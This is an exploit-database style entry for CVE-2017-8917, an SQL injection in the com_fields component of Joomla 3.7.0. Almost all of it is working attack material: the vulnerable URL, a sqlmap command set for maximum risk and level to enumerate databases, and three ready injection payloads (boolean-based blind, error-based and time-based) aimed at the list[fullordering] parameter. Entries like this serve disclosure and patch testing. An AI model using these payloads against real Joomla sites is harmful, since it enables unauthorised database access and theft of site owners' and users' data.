Joomla 3.7.0 Fields SQL Injection

`# Exploit Title: Joomla 3.7.0 - Sql Injection  
# Date: 05-19-2017  
# Exploit Author: Mateus Lino  
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html  
# Vendor Homepage: https://www.joomla.org/  
# Version: = 3.7.0  
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux  
# CVE : - CVE-2017-8917  
  
  
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27  
  
  
Using Sqlmap:   
  
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  
  
  
Parameter: list[fullordering] (GET)  
Type: boolean-based blind  
Title: Boolean-based blind - Parameter replace (DUAL)  
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)  
  
Type: error-based  
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)  
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)  
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)  
  
`